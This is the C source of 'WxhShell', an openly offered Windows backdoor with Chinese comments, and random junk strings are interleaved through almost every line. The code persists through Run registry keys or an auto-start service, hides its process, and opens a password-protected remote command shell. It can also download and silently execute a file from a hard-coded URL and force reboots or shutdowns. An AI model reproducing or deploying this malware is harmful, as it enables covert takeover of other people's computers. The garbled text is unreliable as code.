g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y@eHp-[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H[@}ri< ^S ,E "Q if (!NtQueryInformationProcess) return 0; &4*&L.hPM^ CcY.8|HT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); md$[Bs9 if(!hProcess) return 0; !P@u4FCs QX%m4K/a if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <eN>X:_N u;J= g CloseHandle(hProcess); \(T;@r :#TJ-l:# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >[|:cz if(hProcess==NULL) return 0; 74gU4T H'gPGOd HMODULE hMod; 6./&l9{h+ char procName[255]; |D]jdd@!a2 unsigned long cbNeeded; q4Ye |<y[gj4`T/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DDAqgx $#R.+B CloseHandle(hProcess); W\eB w2{k0MW if(strstr(procName,"services")) return 1; // 以服务启动 /2'\ya4B F!]UaEmV return 0; // 注册表启动 eg(xN/D } {h9#JMIA );))kYr // 主模块 9k 7|B>LT int StartWxhshell(LPSTR lpCmdLine) "6Dz~5 { nt;A7pI` SOCKET wsl; yE"hgdL BOOL val=TRUE; Slv}6at5 int port=0; ~fCD#D2KU struct sockaddr_in door; -HoPECe 0RoI`>j' if(wscfg.ws_autoins) Install(); 8w2+t>? ?9?0M A<[i port=atoi(lpCmdLine); X0vkdNgW DVSYH{U4 if(port<=0) port=wscfg.ws_port; SNK+U"Q AZl=w`;/O% WSADATA data; xmiF!R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R63"j\0 Y}1|/6eJ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iZjvO`@[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ][G<CO`k door.sin_family = AF_INET; _"WQi}Mm door.sin_addr.s_addr = inet_addr("127.0.0.1"); `n^jU92 door.sin_port = htons(port); Kq{s^G ~ S-x-cZ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?WAlW,H> closesocket(wsl); ]-* }-j` return 1; O)9T|,
U } PI?-gc?[ fd+kr# if(listen(wsl,2) == INVALID_SOCKET) { {ReAl_Cm closesocket(wsl); |AFF*]e S return 1; )3)L } H>M%5bj Wxhshell(wsl); (^Nf;E WSACleanup(); &q":o 'q t Ac;O[L return 0; (5yg\3Jvp XLmbpEh } Opjt? ] kdmVHiGF // 以NT服务方式启动 $ng\qJ"HF VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ];uvE? 55 { x[(2}Qd DWORD status = 0; 1]hMA\x DWORD specificError = 0xfffffff; )3..7ht3^5 <CA
lJ serviceStatus.dwServiceType = SERVICE_WIN32; r,b serviceStatus.dwCurrentState = SERVICE_START_PENDING; /u #9M { serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B1LnuB% serviceStatus.dwWin32ExitCode = 0; *\joaw serviceStatus.dwServiceSpecificExitCode = 0; l,v:[N serviceStatus.dwCheckPoint = 0; x7NxHTL serviceStatus.dwWaitHint = 0; pM#:OlqC m7RWu I, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Y`C7Px if (hServiceStatusHandle==0) return; ?<nz2 piP, {g @
*jo& status = GetLastError(); @'}X&TN<a if (status!=NO_ERROR) <|2_1[,sl {
Kjf#uU.7 serviceStatus.dwCurrentState = SERVICE_STOPPED; Np/[MC serviceStatus.dwCheckPoint = 0; iOJgZuP serviceStatus.dwWaitHint = 0; pnqjATGU serviceStatus.dwWin32ExitCode = status; &rNXn?>b serviceStatus.dwServiceSpecificExitCode = specificError; I)Y$?" SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Zt=8}di return; 8"<!8Img } W
B!$qie\ x65e,' serviceStatus.dwCurrentState = SERVICE_RUNNING; N`zHe*=[~ serviceStatus.dwCheckPoint = 0; !4 hs9b serviceStatus.dwWaitHint = 0; @x=CMF15 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wPc,FH+y } Zy!\=-dSm k"sL.}$ // 处理NT服务事件,比如:启动、停止 Cog:6Gnw VOID WINAPI NTServiceHandler(DWORD fdwControl) c3
wu&*p{ { +m+HC(Z switch(fdwControl) %hTe%(e { Jp=
(Q]ab case SERVICE_CONTROL_STOP: 94a_ W9 serviceStatus.dwWin32ExitCode = 0; |2oB3 \)/ serviceStatus.dwCurrentState = SERVICE_STOPPED; [0~qs|27 serviceStatus.dwCheckPoint = 0; >K
&b,o,[ serviceStatus.dwWaitHint = 0; '.dW>7 { #Kh`ATme SetServiceStatus(hServiceStatusHandle, &serviceStatus); ar^`r!ABEh } $K,aLcu return; f
a\cLC case SERVICE_CONTROL_PAUSE: fe0 Y^vW serviceStatus.dwCurrentState = SERVICE_PAUSED; |QzPY8B9O break; nB:Bw8U"Q case SERVICE_CONTROL_CONTINUE: de`6%%| serviceStatus.dwCurrentState = SERVICE_RUNNING; ZO;]Zt] break; Awr]@%I case SERVICE_CONTROL_INTERROGATE: 5S7Z]DXiT8 break; CY7REF }; v(t&8)Uu SetServiceStatus(hServiceStatusHandle, &serviceStatus); |
'z)RFqj } m#S ZI} :qT>m // 标准应用程序主函数 XSxya.1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3(}?f { A5/h*`Q\\ '{+hti,Lh // 获取操作系统版本 _rR.Y3N OsIsNt=GetOsVer(); a%]p*X! GetModuleFileName(NULL,ExeFile,MAX_PATH); @+2Zt% V2y[IeSQ // 从命令行安装 N&ddO-r[s if(strpbrk(lpCmdLine,"iI")) Install(); s e1ipn_A _E"[% // 下载执行文件 utTek5/ if(wscfg.ws_downexe) { Q3KBG8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r;'!qwr WinExec(wscfg.ws_filenam,SW_HIDE); s=d?}.E$ } !*cf}<Kmw },"g* if(!OsIsNt) { vIG,!^*3 // 如果时win9x,隐藏进程并且设置为注册表启动 xz%ig^L HideProc();
o _CVZ StartWxhshell(lpCmdLine); y~d W=zO } @%TQ/L^| else Qz<-xe`o8] if(StartFromService()) Hc+<(g // 以服务方式启动 S2NsqHJr StartServiceCtrlDispatcher(DispatchTable); +|0 m6)J] else 49#-\=<gt // 普通方式启动 TcIUo!:z StartWxhshell(lpCmdLine); P*LcWrK
h43k
return 0; Y9%yjh } cK258mY NMDNls&)k t #AQD]h q{@Wn]!k =========================================== q3[LnmH %z.G3\s0 %z2nas$$g IM#+@vv DTJ c]LH. " v_ J.M ] tb
i;X=5 #include <stdio.h> *dQRs6 #include <string.h> J\%:jg( m #include <windows.h> d-*9tit #include <winsock2.h> a=J?[qrx #include <winsvc.h> CVUDN2 #include <urlmon.h> s,}<5N]U sDF J #pragma comment (lib, "Ws2_32.lib") :vr,@1c #pragma comment (lib, "urlmon.lib") CJC|%i3 f&`*x t/ #define MAX_USER 100 // 最大客户端连接数 \?g%>D:O; #define BUF_SOCK 200 // sock buffer \uYUX~}i" #define KEY_BUFF 255 // 输入 buffer >hhd9 646yeQ1 #define REBOOT 0 // 重启 M&K@><6k,k #define SHUTDOWN 1 // 关机 J8%|Gd0#4 IQ_0[ #define DEF_PORT 5000 // 监听端口 nFP2wvFM eS"gHldz #define REG_LEN 16 // 注册表键长度 Brl6r8LGi #define SVC_LEN 80 // NT服务名长度 W@G[ gS\T i~,k2*o // 从dll定义API }n.h)Oz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^d"J2n,7L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DYl^6] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dbLX}> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 08f~vw" 1_t Dp&UO // wxhshell配置信息 i`Yf|^;@2> struct WSCFG { b'OO~>86 int ws_port; // 监听端口 x
B?:G char ws_passstr[REG_LEN]; // 口令 -r2cK{Hhp& int ws_autoins; // 安装标记, 1=yes 0=no </%H 'V@ char ws_regname[REG_LEN]; // 注册表键名 ?
vlGr5# char ws_svcname[REG_LEN]; // 服务名 H>r-|*n char ws_svcdisp[SVC_LEN]; // 服务显示名 Wf?sJ`.%b char ws_svcdesc[SVC_LEN]; // 服务描述信息 lVFX@I =pI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^"Y'zIL int ws_downexe; // 下载执行标记, 1=yes 0=no `%Ghtm * char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y"hM6JI char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MT5A%|H e d{he }; EH:1Z*|Z{\ E,|n' // default Wxhshell configuration <Z;7=k struct WSCFG wscfg={DEF_PORT, w?*KO?K "xuhuanlingzhe", PYUY bRn 1, Mz^s^aJEE "Wxhshell", !$?@;}= "Wxhshell", KFhn}C3
i "WxhShell Service", (w-u"1& "Wrsky Windows CmdShell Service", @r43F$bcqo "Please Input Your Password: ", g5Vr2 1, 2%8Y-o? "http://www.wrsky.com/wxhshell.exe", KCu6:)6' "Wxhshell.exe" ^ZlV1G;/W@ }; -7$'* V9$ {q)B@#p // 消息定义模块 h=tu+pn char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 16y$;kf8 char *msg_ws_prompt="\n\r? for help\n\r#>"; YUb,5Y0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L,Nr,QC- char *msg_ws_ext="\n\rExit."; z|<oxF. char *msg_ws_end="\n\rQuit."; Z)A+ wM char *msg_ws_boot="\n\rReboot..."; V[M#qZS char *msg_ws_poff="\n\rShutdown..."; acZHb[w char *msg_ws_down="\n\rSave to "; 6'ZnyWb StL[\9~: char *msg_ws_err="\n\rErr!"; gB(W`:[ char *msg_ws_ok="\n\rOK!"; ~
t
H s+ QT$1D[> char ExeFile[MAX_PATH]; 55DzBV int nUser = 0; Vr1|%*0Tv HANDLE handles[MAX_USER]; >l1Yhxd_0* int OsIsNt; IpJ v\zH7 w'0M>2 SERVICE_STATUS serviceStatus; 0%F.]+6[O4 SERVICE_STATUS_HANDLE hServiceStatusHandle; \.a .'l G7;}309s // 函数声明 O-5U|wA int Install(void); hyKg=Foq int Uninstall(void); Zsogx}i- int DownloadFile(char *sURL, SOCKET wsh); w2+]C&B* int Boot(int flag); ?<?C*W_ void HideProc(void); KUut C
: int GetOsVer(void); +I n"OR% int Wxhshell(SOCKET wsl); W~F/ZrT3A void TalkWithClient(void *cs); a~7osRmp0 int CmdShell(SOCKET sock); 1.H!A@ int StartFromService(void); ~BZV:Es int StartWxhshell(LPSTR lpCmdLine); KaE;4gwM bW^QH-t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3x0wk9lND VOID WINAPI NTServiceHandler( DWORD fdwControl ); KL mB -C}59G8 // 数据结构和表定义 BmFME0 SERVICE_TABLE_ENTRY DispatchTable[] = O`jA-t { j~H`*R=ld# {wscfg.ws_svcname, NTServiceMain}, `_A?a_[* {NULL, NULL} l&Ghs@>Kl }; "T%'Rp`j| p.] .M"A // 自我安装 X9A[
int Install(void) |a$w;s>\ { Z{4aGp* char svExeFile[MAX_PATH]; AdW2o|Uap HKEY key; 9:i,WJO strcpy(svExeFile,ExeFile); (y=o]Vy FTnQqDuT // 如果是win9x系统,修改注册表设为自启动 [0ffOTy if(!OsIsNt) { ]C6[`WF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { idS
RWa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QeJ.o.m{ RegCloseKey(key); SzlfA%4+GR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 64' ]F1p0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z~e~K`S RegCloseKey(key); /_OZ1jX return 0; nvK7*- } <`_OpNxqW } !b->u_ } 7 eQoc2X2 else { v6-~fcX0G >DUE8hp;< // 如果是NT以上系统,安装为系统服务 Hq\E06S@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KbdfSF$ if (schSCManager!=0) *-AAQ { %
r Y8 SC_HANDLE schService = CreateService >^f)|0dn)E ( Rfc&OV schSCManager, %Fg8l{H3 wscfg.ws_svcname, kqvJ&7 wscfg.ws_svcdisp, P"uHtHK SERVICE_ALL_ACCESS, $:E}Nj]{& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j$8|ym^OX SERVICE_AUTO_START, vZeYp SERVICE_ERROR_NORMAL, $`5lvy^ svExeFile, Qy^z *s NULL, )cKtc NULL, px}7If NULL, U?F^D4CV\ NULL, hY=
s9\ NULL JM-ce8U ); oUvk2]H if (schService!=0) <%>n@A { 7{^4 x#NO CloseServiceHandle(schService); XBQ< CloseServiceHandle(schSCManager); ;IuK2iDt< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >@^yj+k strcat(svExeFile,wscfg.ws_svcname); "-QRkif if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >6[ X } RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zRy5,,i5=[ RegCloseKey(key); Q P=[ Vw return 0; $JhZ'Z } Qyv'nx0= } n;kciTD%wK CloseServiceHandle(schSCManager); ('**nP
} !P~ PF:W~| } h lkvk]v (}FW])y return 1; V4eng " } ~0F9x9V :#\B {)( // 自我卸载 (' Ko#3b int Uninstall(void) `$V[;ld(mz { Oh/b?|imG HKEY key; :q>oD-b$} ik Y]8BCc if(!OsIsNt) { iRUR4Zs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bwSRJFqb RegDeleteValue(key,wscfg.ws_regname); 5hJYy`h~ RegCloseKey(key); @4_rx u& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yC'hwoQ` RegDeleteValue(key,wscfg.ws_regname); V%BJNJ RegCloseKey(key); y*}vG}e% return 0; DN"S, } (K*/Vp } &e
?"5 } Gf
H*,1x else { ii_|)udz :m*!?QGdL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G9i)nWr if (schSCManager!=0) Db#W/8
a8k { fVH*dX'Jz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [ZKtbPHb if (schService!=0) GX7 eRqz > { d=t}T6.| if(DeleteService(schService)!=0) { sb}K%- CloseServiceHandle(schService); (ET ;LH3 CloseServiceHandle(schSCManager); @ .Z[M return 0; Zk/' \(5 } '9-axIj70 CloseServiceHandle(schService); OS4]Y } `;5VH ]V CloseServiceHandle(schSCManager); rL%]S&M9 } >@)*Sn9" } HJfQ]p'nK2 QiTR-M2C! return 1; abROFI5.L } $u; >hk M<{5pH(K // 从指定url下载文件 &G-#*OG int DownloadFile(char *sURL, SOCKET wsh) NK7H,V}T { ?kL|>1TY HRESULT hr; 5JBB+g char seps[]= "/"; r,2Xu char *token; Wl&
>6./{ char *file; gp~yt0AU char myURL[MAX_PATH]; ?G$Om char myFILE[MAX_PATH]; SY%A"bC +{,N X strcpy(myURL,sURL); a>o"^%x token=strtok(myURL,seps); KTG:I@|C while(token!=NULL) '}jf#C1$c { z5XYpi_;[ file=token; _M8G3QOx token=strtok(NULL,seps); :3KO6/+ } r{t.c?/ MV"E?}0 GetCurrentDirectory(MAX_PATH,myFILE); P0%N
Q1bn strcat(myFILE, "\\"); n-b>m7O( strcat(myFILE, file); k{gl^ send(wsh,myFILE,strlen(myFILE),0); 7?6xPKQ)H send(wsh,"...",3,0); e[x?6He,$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A Gv!c($ if(hr==S_OK) 0+T*$=? return 0; K\RWC4 else J+ Jt4 return 1; AMbKN2h1f DMF?5GX } yGb a F&=I7i // 系统电源模块 ; cGv] A+ int Boot(int flag) U9 1 &| { k2EHco0BG HANDLE hToken; B#FHf
Z TOKEN_PRIVILEGES tkp; 9#v-2QY F>(qOH.I if(OsIsNt) { Err4
%- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YV5Yx-+3w$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l6iw=b[? tkp.PrivilegeCount = 1; 8)L'rW{q# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EzR%w*F>Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B$cOssl if(flag==REBOOT) { {eEBrJJeB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) To3^L_v" return 0; 3>RcWy;1i } GwcI0~5 else { p86~~rvq[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R'rTE return 0; >%-Hj6% } !Tv?%? 2l } TQ;
Z.)L else { /_]ltX D if(flag==REBOOT) { :W~6F*A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o^HNF+sm return 0; I[}75:^Rt } ?q\FLb%"7 else { %dEB /[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3\;v5D: return 0; d)N^PJ/ } ZB-QABn } /+>)"D6' ZTN(irK return 1; &|)hCJu } ZAMeqPt DW#Bfo // win9x进程隐藏模块 ,Kuk_@(}5~ void HideProc(void) >9ob *6q, { 1Fv8T' 538fK9[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2b5 #PcKa if ( hKernel != NULL ) +a|"{ { 59.$ULQVMY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X4a^mw\" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }i(qt&U; FreeLibrary(hKernel); 5?Bc
Y; } ! 0^;;' fV 3r|Bp return; 3filAGR? } z<hFK+j,'^ M&r2:Whk // 获取操作系统版本 LIF|bE9kd int GetOsVer(void) u^Vh.g] { jAXR`D OSVERSIONINFO winfo; _1ew(x2J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5UE409Gn' GetVersionEx(&winfo); <$%ql'= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9z:K1 return 1; T.kyV| else kBo;h.[l return 0; -LTKpN`[@ } X/l;s o+NMA
( // 客户端句柄模块 mb&lCd^- int Wxhshell(SOCKET wsl) wq UQ"d { >)Ioo$B SOCKET wsh; +]c/&Xo! struct sockaddr_in client; Y(_KizBY DWORD myID; P|N2R5(>T G8eD7%{b:) while(nUser<MAX_USER) zCt\o { ygN>"eP int nSize=sizeof(client); um7o !yg, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ry&q1j if(wsh==INVALID_SOCKET) return 1; )>\4ULR83 !DPF7x(-{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 61} i5o if(handles[nUser]==0) /t*YDWLg closesocket(wsh); WfZF~$li` else C ZJV_0 nUser++; .oEbEs } iRNLKi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `?"6l5d.] m[spn@SF return 0; #n3ykzoqIX }
dy<27 = >.e+S?o // 关闭 socket PnA?+u2m void CloseIt(SOCKET wsh) 8u>gbdU { dy2rkV.z closesocket(wsh); NgVR,G|1 nUser--; }# Doy{T ExitThread(0); v8m`jxII64 } ?sXG17~Bm /_)l|<k+V // 客户端请求句柄 pISp*& void TalkWithClient(void *cs) dFW.}"^c { CQgcC-)ns] ,(N[*)G SOCKET wsh=(SOCKET)cs; )o{aeV char pwd[SVC_LEN]; m2xBS!fm char cmd[KEY_BUFF]; io.]'"> char chr[1]; */(I[p int i,j; l1A5Y5x9= <r~wZ}s while (nUser < MAX_USER) { [} -3PpF xzm@
v( if(wscfg.ws_passstr) { )6-9)pH@) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ ny6W9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZSB?Y1wG //ZeroMemory(pwd,KEY_BUFF); BtsdeLj| i=0; AOb]qc while(i<SVC_LEN) { L%t@,O#, m|O1QM;T // 设置超时 ;JT(3yK4>p fd_set FdRead; 7&U&E| struct timeval TimeOut; 6S1m<aH6 FD_ZERO(&FdRead); 8]bz(P# FD_SET(wsh,&FdRead); +&5'uAe TimeOut.tv_sec=8; }Cj8 TimeOut.tv_usec=0; d(;4`kd*N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D."=k{r. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %d2!\x%bG z)-c#F@% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W2]TRO pwd=chr[0]; @0NJ{ if(chr[0]==0xd || chr[0]==0xa) {
|yKud pwd=0; &;c>O break; 1/;o } vWjnI*6T# i++; X%}nFgqQ } ^zr^ N?a `VT>M@i/ // 如果是非法用户,关闭 socket |^a;77nE_^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _mJG5(| } o6a0'vU>< Udgqkl send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }^%xvmQ\] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); taWqSq! )OP){/ while(1) { 8e&p\%1 S,{tV=&m] ZeroMemory(cmd,KEY_BUFF);
]Oeh=gq h4)Bs\==mT // 自动支持客户端 telnet标准 7TX2&kMoc j=0; xZ .!d.rn while(j<KEY_BUFF) { np9dM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MYdO jcN cmd[j]=chr[0]; `<frgXu64 if(chr[0]==0xa || chr[0]==0xd) { [f/I2 cmd[j]=0; B&0;4 break; 5,)vJ,fs } "_1)CDqP j++; J G$Z.s } G~,:2
o3 WsGths+[ // 下载文件 lioc`C: if(strstr(cmd,"http://")) { Dw6 fmyJ: send(wsh,msg_ws_down,strlen(msg_ws_down),0); F3Maqr y if(DownloadFile(cmd,wsh)) "i^
GmVn send(wsh,msg_ws_err,strlen(msg_ws_err),0); ravyiOL else aZS7sV28 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !&^gaUa{ } u]*0;-tz else { M@et6aud;K L%"LlSg switch(cmd[0]) { C[sh, 6gL-OJNo // 帮助 iUi>y.}"P case '?': { |{>ER,<- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &@FhR#pUQ break; pCi#9=?N } dT"hNHaf // 安装 h^UKT`9vt case 'i': { #W>QY Tp if(Install()) <AH1i@4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Vb8f["+- else ^D%Za' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X{xBYZv4 break; #%0Bx3uM } W~1~k{A // 卸载 avQJPB)}Sb case 'r': { ^x>Qf(b if(Uninstall()) CusF/> send(wsh,msg_ws_err,strlen(msg_ws_err),0); ').}N z else ^TY;Zp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Jq8?FoT break; (V`Md\NL` } i%m"@7.kk // 显示 wxhshell 所在路径 W,5Hx1z R case 'p': { =@&cH Y char svExeFile[MAX_PATH]; s$ENFp7P strcpy(svExeFile,"\n\r"); EOj"V'! strcat(svExeFile,ExeFile); b?X.U}62_ send(wsh,svExeFile,strlen(svExeFile),0); l e4?jQQ@L break; +ZMls
[ } <7SpEVQ // 重启 t_^X$pL case 'b': { Fb22p6r send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hmt^h(*/2 if(Boot(REBOOT)) [epi#]m send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1RcSTg else { 2Y\
d<.M closesocket(wsh); {9Y+.46S ExitThread(0); ?'86d_8 } g[RI.&? break; S{pXs&4O } y;wx?1) // 关机 ULrr=5&8 case 'd': { !* Ti}oIo& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q1d'~e if(Boot(SHUTDOWN)) jp8@vdRg send(wsh,msg_ws_err,strlen(msg_ws_err),0); -i0(2*< else { Un`^jw#_ closesocket(wsh); o8/;;* ExitThread(0); 4;n6I)&.( } #} ~qqJ G2 break; -}O1dEn. } L37 Y+C// // 获取shell 0R{dNyh{ case 's': { ('wY9kvL& CmdShell(wsh); 3vhnwDcK closesocket(wsh); "k*PA\U ExitThread(0); "Ve.cP,7( break; CYYkzcc^ } wO ?+Nh // 退出 |(5W86C,ju case 'x': { m8'C_U^89 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ];'v8)Y CloseIt(wsh); r.3/F[. break; j
8*ZF } |8mhp.7 // 离开 t@u7RL*n:< case 'q': { Gj"7s8(/K| send(wsh,msg_ws_end,strlen(msg_ws_end),0); t!*+8Q!e closesocket(wsh); p' M%XBu WSACleanup(); Bm&kkx.9P exit(1); yjfat&$ break; Eskb9^A } *Qugv^- } ~U;rw&'H } S*j6OwZ IDnC< |